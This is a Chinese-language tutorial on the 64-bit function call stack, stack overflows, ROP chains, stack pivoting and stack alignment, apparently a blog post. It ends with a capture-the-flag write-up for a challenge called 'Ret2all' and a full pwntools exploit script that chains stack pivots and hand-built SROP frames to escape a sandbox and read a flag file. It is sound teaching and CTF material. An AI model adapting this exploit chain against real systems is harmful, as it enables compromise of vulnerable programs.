函数调用栈
基础知识
寄存器: rip与eip:指令寄存器,cpu会把该寄存器地址内的数据当成指令执行(rip是64位系统的,eip是32位的)
rsp与esp:栈顶指针寄存器,表明了栈顶的位置
rbp与ebp:栈底指针寄存器,表明了栈底的位置
elf文件在外存和内存中的情况如图
最左边的RW与RX就是对应段的权限,R即read,读;W即write,写;x即execute,执行;可以看见外存中的文件最终执行时都会映射到内存中,内存中可以看见栈是由高地址往低地址增长的,堆是由低地址往高地址增长的。下面我们看当我们调用函数时发生了什么。比如如下程序,以64位为例
首先看进入函数第一条指令,不是int,而是{,这个会被编译器解释成push rbp,mov rsp rbp,也就是先把rbp入栈,再把rsp抬上来,然后再sub rsp (一个立即数) 把rsp抬上去,效果如图
然后是int,int就是声明变量,也就是把变量声明在rbp-多少,接下来继续执行就到了调用这个wow函数的时候了,调用函数时通过call指令,也就是先把当前指令的下一条指令的地址入栈(这个也就是我们常说的返回地址,我用back代替),接下来又进入wow函数的指令,这个函数第一条指令又是{,又把rbp入栈,因为rbp还是原来main函数的rbp,所以rbp1就是指向rbp的,rsp抬到rbp,如图所示
接下来又是sub rsp (一个立即数),把rsp往上抬,然后是int c;声明一个变量c,效果如图
其实栈溢出的原理就是通过往c写值,覆盖栈上的这个返回地址,我们接下来看我们没改返回地址的时候函数返回是怎么返回的,首先有一个leave指令,这个指令就是mov rsp rbp
然后pop rbp把rsp位置的值弹出栈,赋给rbp,这时rbp已经回到main函数那里了
此时并不会直接把上面c变量的数值销毁,而是在将来声明变量时可以再往这声明,leave之后接下来是ret,ret就是pop rip,把wow返回地址赋给指令寄存器,接下来就再跳转过去执行指令。
这里就可以看出栈溢出的原理了,因为我们往栈上写值是由低地址往高地址写(图中由上往下),所以只要我们有能写出c这个变量大小的条件,就可以把rbp及返回地址覆盖,接下来就会返回我们写成的返回地址,接下来就会去我们想让他返回的地方执行指令。
rop链原理
其实rop链就是开了栈不可执行(NX保护)时,因为不能直接写汇编指令所以通过一些代码片段(gadget)去控制各寄存器,并通过ret链接起来的指令,比如有一个地址中的地址是pop rdi;ret,那我们返回地址写成这个指令的地址后,他就会执行这个指令pop rdi,然后就是ret,因为rsp没变,所以他还是在栈上取值,所以接下来就由可以填我们想让他返回到的地址了。
栈迁移原理
栈迁移简单来说就是控制rsp,主要通过控制rbp然后进行两次leave去控制,第一次leave控制rbp,第二次leave通过控制的rbp进而控制寄存器,下面以迁移到bss段为例,第一次leave;ret:先mov rsp rbp
接下来是ret,继续执行返回地址内的指令,至此第一次leave;ret结束。因为返回地址还是leave;ret,所以有第二次leave;ret:
先mov rsp rbp
接下来是pop rbp然后就是ret,在bss里取值继续执行了。从图中也可以看到,rsp与rbp都被我们控制了,函数的栈已经变化了,所以叫栈迁移。具体的攻击可以看看我之前的文章。ret2csu与栈迁移的运用
栈返回
看到这不知道各位有没有想过,既然我们自己定义的函数(这里的例子就是wow)有返回地址,那c语言库里的read,printf,write....等函数有没有返回地址呢,好像没听过?首先,他们也是有返回地址的,因为调用他们也需要call这个指令,这个指令就会把下条指令的地址入栈,只是因为调用他们的时候栈已经类似这个样子了
所以哪怕这时候rsp的地方写了一条返回地址,我们在栈上的局部变量c里写值也是覆盖不到这个地址的,所以一般用不到这个手法。当然既然是一般就有例外,比如格式化字符串可以改printf函数的返回地址,read如果能控制写入的地址也可以改到(也得溢出一次才有可能)
栈对齐的原因及解决办法
栈对齐就是为什么有时候我们返回system的时候要加个ret,实际上就是栈没对齐通过加ret对齐。栈对齐就是rsp指针要16字节对齐,因为系统调用的时候要求要对齐,也就是rsp最后一个16进制位要是0。关于这个原因就是个人观点了,我个人理解的应该比较浅,我认为就是系统本身肯定会让rsp对齐以免我们自己调用system函数的时候崩溃,但我们往返回地址后面可能写很多指令的地址,所以就导致了不对齐。解决办法: 因为64位下栈的内存单元是以8为单位的,也就是我们rsp的地址的最后一个16进制只有8和0两种可能,并且正常是rsp的末位8,这样在接下来的system函数里,因为他会push rbp,这样rsp就16字节对齐了,所以我们不对齐就说明rsp的末位是0,这样system函数push rbp之后rsp就是8字节对齐(末位是8了),这里我们要么选择加一条指令的地址(加ret)要么就把返回地址往后写,跳过push rbp这个指令。不过也有例外,如果我们栈迁移迁到了末尾不是0也不是8的地址,加再多ret也没用,这时候就要修改迁移的位置了。
Ret2all
好了你已经学会函数调用栈了,快来写一道栈溢出吧。
这题保护除了canary都开了,第一个init给了我们rbp与ret(这两个在bss段上),ret可以泄露pie基地址,所以pie保护就跟没开一样了,后面用mprotect把bss段设成只读了,并且把标准错误给关了,后面开了沙盒。
把execve,read,write分支都禁了并且下面write的文件描述符只能是2,read的文件描述符只能是0。后面有个栈溢出,溢出0x28字节
这个是影子,首先检测前0x60是不是"I love you I feel lonely"字符串,后面检测rbp与ret是不是之前发给我们的,相当于只能溢出0x18了,并且还只能溢出到返回地址+8的位置。不过这里因为他调用了三次函数,所以会leave三次,就有栈迁移的机会,并且在read到0x88的地方正好是rbp最后一次指向的地方,也就是两次leave就到了我们可以控制的地方,我们把写成我们返回地址+8的地址就可以实现一次read了
但这里要注意,read之后不会直接返回,而是会进影子,所以这里我们read写入的地方有讲究,要能覆盖过我们call read的返回地址,实现栈返回,即往rsp的上方写。
这里只要覆盖掉rsp就可以逃出影子了,因为目前泄露不出libc,所以只能用栈上现有的libc地址,我们可以找一下附近的,因为我们最多覆盖一字节,因为远程libc基址大部分是000结尾的,我们覆盖一字节是可以确保每次都能利用,如果覆盖两字节就需要爆破凭运气了。
这里有一个syscall,但这个syscall不是特别好,因为如果我们用这个syscall调用函数后面有一个jmp,他不是ret,就比较难预测了。所以我们第一次syscall调用srop来控制rbx,之后配合magicgadget改成应该好用的gadget。改好之后就可以调用dup2(1,2)把标准输出的内容复制到标准错误,接下来就可以write泄露libc,有libc之后就先close(0),让open打开的文件描述符是0,这样read就可以往栈内写flag了,最后再write打印出来flag就结束了。而这就需要我们在syscall下面先布置好srop的SigreturnFrame结构,这里因为长度有限不能用pwntools的函数。只能手搓了。并且要注意一下往下写需要rsp在下面,因为我们read还有影子跟着,所以rsp在下面才能实现栈返回,所以第一次往下写是逃不了影子的,简单来说就是先往下,然后leave上来,再leave下去就好了(这里上下是相对syscall来说的,这是这题最关键的部分)。大概效果是这样
因为一开始的rbp是定死的,所以我们要注意在第一次的rbp上放好下面的地址就可以了,只要能调出一次srop就好办很多了,srop结构如下
这里就是从左往右读,第一个是syscall,第二个是uc_flags第三个是&uc之后依次读下去,大概离syscall0x70的位置是rdi,之后调用完一次srop要往syscall下面一个位置写一个leave,并且这个leave末尾要小于4,因为这样syscall ret之后就是leave,我们只要控制rbp就可以继续控制程序流。之后多布局一下就差不多写完了这题,多调试就好。这里因为我的本地环境跟远程不一样,所以应该是打不了远程的,不过可以参考一下,应该布局上是大差不差了,估计是有些细节不一样。exp如下
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
flag = 0
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
p = remote('challenge.imxbt.cn',30705)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def dbg():
gdb.attach(p)
pause()
ru(b'RBP:')
rbp=int(p.recvline(),16)
print(hex(rbp))
ru(b'RET:')
ret=int(p.recvline(),16)
pie=ret-0x1871
re=pie+0x3FB8
prbp=pie+0x1253
main=pie+0x1874
magic=pie+0x1252
target=pie+0x4050
leave=pie+0x1852
ret1=pie+0x18AC
read=pie+0x182F
read1=pie+0x1840
print(hex(pie))
pay=b'I love you I feel lonely'*4+flat(rbp,ret)+flat(rbp+0x18,read)+p64(rbp-0x10)
dbg()
sd(pay)
pause()
pay=flat({
0x30:p64(rbp+0xc0+0x30),#rbo:0x48
0x38:p64(read),
0x40:p64(leave),
0x48:p64(rbp+0xe0-0x10+0x30),
0x50:p64(leave),
0x58:p64(rbp+0xd0+0x30),
0x60:p64(rbp-0x18),
0x68:p64(leave),
},filler=p64(ret1))#flat(prbp,rbp+0x72+8,read)
sd(pay+b'\xec')
pause()
pay=b'I love you I feel lonely'*4+flat(rbp,ret)+flat(rbp+0x90+0x60,read)+p64(leave)
sd(pay)
pay=flat({
0x0:p64(0),#fake
0x8:p64(0),#rdi
0x10:p64(rbp+0x30),#rsi
0x18:p64(rbp+0x28+0x3d),#rbp
0x20:p64(0x6ede9),#rbx
0x28:p64(0x200),#rdx
0x30:p64(0),#rax
0x38:p64(0),#rcx
0x40:p64(rbp+0x40),#rsp
0x48:p64(read1),
0x50:p64(0),#eflag
0x58:p64(0x33),#cs
0x60:p64(rbp+0x90+1+0x60+0x60),
0x68:p64(read),
0x70:p64(rbp+0x20),
0x78:p64(leave),
0x80:0,
})
pause()
sd(pay)
pay=b'b'*7+p64(prbp)
pause()
sd(pay)
pay=p64(leave)+flat(ret1)*2+p64(magic)+flat(prbp,rbp+0x59+0x60,read,rbp+0x20,leave,rbp+0x70+0x60,read,read)
pay=pay.ljust(0x60,b'\x00')+flat({
0x0:p64(0),#fake
0x8:p64(1),#rdi
0x10:p64(2),#rsi
0x18:p64(rbp+0x100),#rbp
0x20:p64(0x6ede9),#rbx
0x28:p64(0x200),#rdx
0x30:p64(33),#rax
0x38:p64(0),#rcx
0x40:p64(rbp+0x28),#rsp
0x48:p64(ret1),
0x50:p64(0),#eflag
0x58:p64(0x33),#cs
0x60:p64(0),
0x68:p64(0),
0x70:p64(rbp+0x60+0x90),
0x78:p64(read),
0x80:0,
})
sd(pay)
pay=b'b'*7+p64(prbp)
sd(pay)
pay=flat({
0x0:p64(0),#fake
0x8:p64(2),#rdi
0x10:p64(re),#rsi
0x18:p64(rbp+0x100-0x88),#rbp
0x20:p64(0),#rbx
0x28:p64(0x20),#rdx
0x30:p64(1),#rax
0x38:p64(0),#rcx
0x40:p64(rbp+0x28),#rsp
0x48:p64(ret1),#rip
0x50:p64(0),#eflag
0x58:p64(0x33),#cs
0x60:p64(rbp+0x90+1+0x60+0x60),
0x68:p64(read),
0x70:p64(rbp+0x20),
0x78:p64(leave),
0x80:0,
})
sd(pay)
pay=b'b'*7+p64(prbp)
sd(pay)
ru(b"Keep it and...I love you\n")
libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['read']
re=libcbase+libc.sym['read']
rax=libcbase+0xdd237
rdi=libcbase+0x10f75b
rsi=libcbase+0x110a4d
end=libcbase+0x98fd5
rbx=libcbase+0x586e4
mdx3=libcbase+0xb0133
print(hex(libcbase))
pay=b'./flag\x00\x00'*2+flat(rdi,0,rsi,rbp+0xd8,rbx,0x1000,mdx3,0,0,0,re)
pause()
sd(pay)
srop=SigreturnFrame()
srop.rax=3
srop.rdi=0
srop.rsi=0
srop.rsp=rbp+0x1e8
srop.rip=end
srop1=SigreturnFrame()
srop1.rax=2
srop1.rdi=rbp+0x70
srop1.rsi=0
srop1.rsp=rbp+0x1e8+0x110
srop1.rip=end
srop2=SigreturnFrame()
srop2.rax=0
srop2.rdi=0
srop2.rsi=rbp
srop2.rdx=0x50
srop2.rsp=rbp+0x1e8+0x110+0x110
srop2.rip=end
srop3=SigreturnFrame()
srop3.rax=1
srop3.rdi=2
srop3.rsi=rbp
srop3.rdx=0x50
srop3.rip=end
pay=flat(rax,0xf,end)+bytes(srop)+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)
sd(pay)
ti()
这里我用了11次send,跟标答不一样的就是他是泄露libc顺便控制了rdx,之后直接用srop链了,我是没顺便控制rdx,再凑了一下gadget,所以多了一次send。效果如下
ret2all参考文章ret2all